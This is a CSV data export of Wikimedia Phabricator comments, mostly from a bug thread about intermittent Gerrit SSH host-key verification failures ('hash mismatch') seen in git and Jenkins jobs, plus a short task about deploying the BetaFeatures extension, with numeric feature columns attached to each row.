246012,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Subsided for a while, then started happening a bit more often for me locally. Example in Gerrit from today: https://gerrit.wikimedia.org/r/#/c/138992/1",,,1402521845,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,49,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,17.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,17.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,17.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,4.0,4.0,0.0,0.0,4.0,0.9130434782608695,"Subsided for a while, then started happening a bit more often for me locally. Example in Gerrit from today: URL"
246006,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"This continues to happen, nearly daily.

You could probably get a good list of affected changesets by grepping logs of #wikimedia-dev for my name and ""ignore jenkins"" :/",,,1392577169,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,32,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,3.0,6.0,0.0,3.0,0.0,3.0,8.0,0.0,0.0,0.0,6.0,14.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,3.9722222222222223,0.9444444444444444,"This continues to happen, nearly daily.

You could probably get a good list of affected changesets by grepping logs of #wikimedia-dev for my name and ""ignore jenkins"" :/"
246002,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Another example, this time with the job that sync VisualEditor in mediawiki/extensions.git.  The merge of https://gerrit.wikimedia.org/r/#/c/111608/ triggered job http://integration.wikimedia.org/ci/job/mwext-VisualEditor-sync-gerrit/61/console which shows:

  ssh -i /var/lib/jenkins/.ssh/jenkins-mwext-sync_id_rsa \
    -p 29418 jenkins-mwext-sync@gerrit.wikimedia.org \
    'gerrit review --code-review +2 --verified +2 --submit b519550809bba725b017281fe6c33c4c2fd123c1'
  hash mismatch
  key_verify failed for server_host_key",,,1391696645,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,24.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,6.0,21.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,1.0,5.514705882352941,0.8088235294117647,"Another example, this time with the job that sync VisualEditor in mediawiki/extensions.git.  The merge of URL triggered job URL which shows:

  ssh -i /var/lib/jenkins/.ssh/jenkins-mwext-sync_id_rsa \
    -p 29418 jenkins-mwext-sync@gerrit.wikimedia.org \
    'gerrit review --code-review +2 --verified +2 --submit b519550809bba725b017281fe6c33c4c2fd123c1'
  hash mismatch
  key_verify failed for server_host_key"
245998,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #12)
> Is this related: https://gerrit.wikimedia.org/r/#/c/107036/ ?

Looking at Zuul debugging log on gallium.wikimedia.org it is a different issue. Filled another bug 59991 for it. Seems to be an issue in the python git module.",,,1389609979,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,28,,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,14.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,5.0,0.0,5.0,0.0,5.0,17.0,7.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,3.8333333333333335,0.8809523809523809,"(In reply to comment #12)
QUOTE

Looking at Zuul debugging log on gallium.wikimedia.org it is a different issue. Filled another bug 59991 for it. Seems to be an issue in the python git module."
245994,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Is this related: https://gerrit.wikimedia.org/r/#/c/107036/ ?,,,1389538078,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,27,,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Is this related: URL ?
245992,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Also got one today in command line.

FYI: the -1s in Jenkins caused by this are very confusing.",,,1387292272,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.590909090909091,0.9090909090909091,"Also got one today in command line.

FYI: the -1s in Jenkins caused by this are very confusing."
245990,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"That does happen once or two per day on Zuul. Usually ""hash mismatch"" errors though we had some host key verification failed on Nov 20th.",,,1387290809,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,14.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,14.0,7.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.896551724137931,0.896551724137931,"That does happen once or two per day on Zuul. Usually ""hash mismatch"" errors though we had some host key verification failed on Nov 20th."
245988,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',*** Bug 57483 has been marked as a duplicate of this bug. ***,,,1387290750,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,24,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 57483 has been marked as a duplicate of this bug. ***
245985,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #7)
> Just happened to me w/operations/puppet.
> 
> $ git pull
> hash mismatch
> key_verify failed for server_host_key
> fatal: Could not read from remote repository.
> 
> Please make sure you have the correct access rights
> and the repository exists.

We see similar errors very regularly when updating 600 or so extension repos at translatewiki.net. I'm pretty certain that we have the correct access rights with L10n-bot, have the correct access rights at the local machine, and have consistent scripting up update the repos.

A run I did just now resulted in the following errors:

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/CategoryMagicWords failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/ReplaceSet failed to update

Just to make sure that it wasn't me configuring the two above repos incorrectly, I ran the updates again. This time with the following result:

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/DidYouKnow failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/FormatDates failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/GoogleDocTag failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/InviteSignup failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/LightweightRDFa failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/Numbertext failed to update

/resources/siebrand/mediawiki-extensions/extensions/NumberOfWikis failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/PageLanguage failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/SidebarDonateBox failed to update

hash mismatch
key_verify failed for server_host_key
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/UserStatus failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/VersionView failed to update



To compare, when updating repos on localhost form GitHub, I've not seen a similar error once.",,,1381404334,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.14285714285714285,0.0,2.142857142857143,3.2857142857142856,0.0,0.0,0.0,0.0,0.2857142857142857,0.42857142857142855,0.0,0.0,0.0,1.0,0.14285714285714285,5.857142857142857,6.0,0.0,2.2857142857142856,0.0,0.0,0.0,5.857142857142857,0.0,0.0,0.14285714285714285,1.8571428571428572,0.0,0.0,1.0,0.2857142857142857,0.14285714285714285,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.42857142857142855,5.571428571428571,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.14285714285714285,0.0,0.2857142857142857,0.0,0.0,0.2857142857142857,0.0,0.14285714285714285,0.0,0.14285714285714285,2.142857142857143,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.14285714285714285,10.428571428571429,0.5714285714285714,0.2857142857142857,3.4285714285714284,0.0,0.0,0.0,0.14285714285714285,4.285714285714286,0.0,0.42857142857142855,0.0,1.1428571428571428,6.0,6.857142857142857,0.0,0.0,0.0,1.1428571428571428,0.0,0.2857142857142857,0.2857142857142857,0.14285714285714285,0.5714285714285714,0.0,0.0,0.14285714285714285,4.419152276295134,0.4756671899529042,"(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

We see similar errors very regularly when updating 600 or so extension repos at translatewiki.net. I'm pretty certain that we have the correct access rights with L10n-bot, have the correct access rights at the local machine, and have consistent scripting up update the repos.

A run I did just now resulted in the following errors:

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/CategoryMagicWords failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/ReplaceSet failed to update

Just to make sure that it wasn't me configuring the two above repos incorrectly, I ran the updates again. This time with the following result:

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/DidYouKnow failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/FormatDates failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/GoogleDocTag failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/InviteSignup failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/LightweightRDFa failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/Numbertext failed to update

/resources/siebrand/mediawiki-extensions/extensions/NumberOfWikis failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/PageLanguage failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch origin
/resources/siebrand/mediawiki-extensions/extensions/SidebarDonateBox failed to update

hash mismatch
key_verify failed for server_host_key
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/UserStatus failed to update

Permission denied (publickey).
fatal: The remote end hung up unexpectedly
error: Could not fetch gerrit
/resources/siebrand/mediawiki-extensions/extensions/VersionView failed to update



To compare, when updating repos on localhost form GitHub, I've not seen a similar error once."
245981,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Just happened to me w/operations/puppet.

$ git pull
hash mismatch
key_verify failed for server_host_key
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists.",,,1381388510,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,14,,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,4.0,6.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.229166666666667,0.8125,"Just happened to me w/operations/puppet.

$ git pull
hash mismatch
key_verify failed for server_host_key
fatal: Could not read from remote repository.

Please make sure you have the correct access rights
and the repository exists."
245975,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',(Worked for me when I tried again),,,1380186401,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,12,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,11.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,3.111111111111111,1.0,(Worked for me when I tried again)
245968,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"Several reports of this in the last few days. Reporters include Krenair, YuviPanda, and Krinkle.",,,1380186331,,PHID-USER-r7wrkcx7j2vutqs6hr3g,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,True,,,12,,11.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,26.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.315789473684211,0.8947368421052632,"Several reports of this in the last few days. Reporters include Krenair, YuviPanda, and Krinkle."
245960,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',Still seeing this error randomly.,,,1379791842,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.833333333333333,1.0,Still seeing this error randomly.
245951,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"(In reply to comment #2)
> We changed IP addresses when moving servers (shouldn't have to ever happen
> again), so please check your known_hosts for any outdated entries that you
> can remove.

How can I identify outdated entries? There are no IP addresses in known_hosts. Sample entry:

 |1|umKi+qzw6pf8uXi/Z6/KtqlisCw=|YFoX/CdDjXhcVUVJ803EiP9nyro= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2JmNg8ir9QvWwmS/C2k0PEqty1O26D0Nq24YGKC5jq1cr/0a92Pk7wa9FMMM/2O88bbe6rXZUPBKzDX1vVtYD+5vR4/c1XTnHWlNJ9sd6xSYjHhznqYs81VnjGMCLMPV1GhlIfUZsnQ+
w1FaQUvJe39TEtwADA7ZOFAfT0M/Oqk=",,,1378769029,,PHID-USER-w5a723w3wes6jd5wskgg,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,10,,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,6.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,28.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,2.0,6.0,21.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.339622641509434,0.8113207547169812,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE

How can I identify outdated entries? There are no IP addresses in known_hosts. Sample entry:

 |1|umKi+qzw6pf8uXi/Z6/KtqlisCw=|YFoX/CdDjXhcVUVJ803EiP9nyro= ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAIEA2JmNg8ir9QvWwmS/C2k0PEqty1O26D0Nq24YGKC5jq1cr/0a92Pk7wa9FMMM/2O88bbe6rXZUPBKzDX1vVtYD+5vR4/c1XTnHWlNJ9sd6xSYjHhznqYs81VnjGMCLMPV1GhlIfUZsnQ+
w1FaQUvJe39TEtwADA7ZOFAfT0M/Oqk="
245945,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',"So, this sounds like you've got an old entry in your known_hosts files pointing to the old box.

We changed IP addresses when moving servers (shouldn't have to ever happen again), so please check your known_hosts for any outdated entries that you can remove.",,,1378764890,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,10,,2.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,2.0,0.0,4.0,0.0,6.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,9.0,0.0,4.0,2.0,0.0,4.0,0.0,0.0,0.0,4.0754716981132075,0.8679245283018868,"So, this sounds like you've got an old entry in your known_hosts files pointing to the old box.

We changed IP addresses when moving servers (shouldn't have to ever happen again), so please check your known_hosts for any outdated entries that you can remove."
245939,Gerrit SSH: Intermittent key_verify failed for server_host_key and 'hash mismatch',We retained the same key for exactly this reason...,,,1378611129,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-uycqr5h5vgduf55buvs4,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.3,1.0,We retained the same key for exactly this reason...
55865,Review and deploy BetaFeatures extension,"The Multimedia team has come up with this framework, wrapped in an extension, for experimental features. It's part of our rollout plan to get it on test2 and mediawiki.org, so we can also start deploying extensions that use its framework.

VisualEditor, Multimedia, Mobile, and E2 are all planning on using this framework in the coming quarter to gate features they aren't ready to release on an opt-out basis.

Please review for security and performance (in particular the update jobs for user counts may be tricky for the latter) and add it to the extensions enabled on mediawiki.org and test2.

Thanks!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://www.mediawiki.org/wiki/Extension:BetaFeatures",High,80.0,1378504020,1384542962.0,PHID-USER-nvavrb7ko66hv3xap6sb,False,,False,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_description,resolved,True,c1,3,True,False,False,9,,0.5,0.0,0.0,0.0,0.5,4.5,1.5,0.0,0.0,0.0,2.5,0.5,0.0,0.0,0.0,1.0,0.0,1.0,11.5,0.0,1.5,0.0,0.0,0.5,0.5,1.0,0.0,0.0,1.0,0.0,0.0,2.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,0.0,0.5,0.0,0.5,0.0,14.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,0.0,0.5,0.0,0.5,0.0,4.0,1.5,7.5,0.5,3.0,5.5,0.0,0.0,0.5,0.0,5.0,0.5,0.0,0.0,3.5,11.5,2.5,0.0,0.0,0.0,3.5,0.0,0.5,1.0,0.0,2.0,0.0,0.0,0.5,4.061643835616438,0.7054794520547945,"The Multimedia team has come up with this framework, wrapped in an extension, for experimental features. It's part of our rollout plan to get it on test2 and mediawiki.org, so we can also start deploying extensions that use its framework.

VisualEditor, Multimedia, Mobile, and E2 are all planning on using this framework in the coming quarter to gate features they aren't ready to release on an opt-out basis.

Please review for security and performance (in particular the update jobs for user counts may be tricky for the latter) and add it to the extensions enabled on mediawiki.org and test2.

Thanks!

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
244040,Review and deploy BetaFeatures extension,"We deployed to MediaWiki.org already. We were trying to deploy VectorBeta yesterday, but as you said, it crapped out - hence, bug 55749 stays open but this one got closed (and should have been closed much earlier)",,,1384542962,,PHID-USER-nvavrb7ko66hv3xap6sb,False,,,PHID-TASK-o4nfasrtm3o6yo3ndwdo,task_subcomment,,True,c1,3,True,,,19,,2.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,2.0,2.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,9.0,9.0,2.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,4.116279069767442,0.8604651162790697,"We deployed to MediaWiki.org already. We were trying to deploy VectorBeta yesterday, but as you said, it crapped out - hence, bug 55749 stays open but this one got closed (and should have been closed much earlier)"
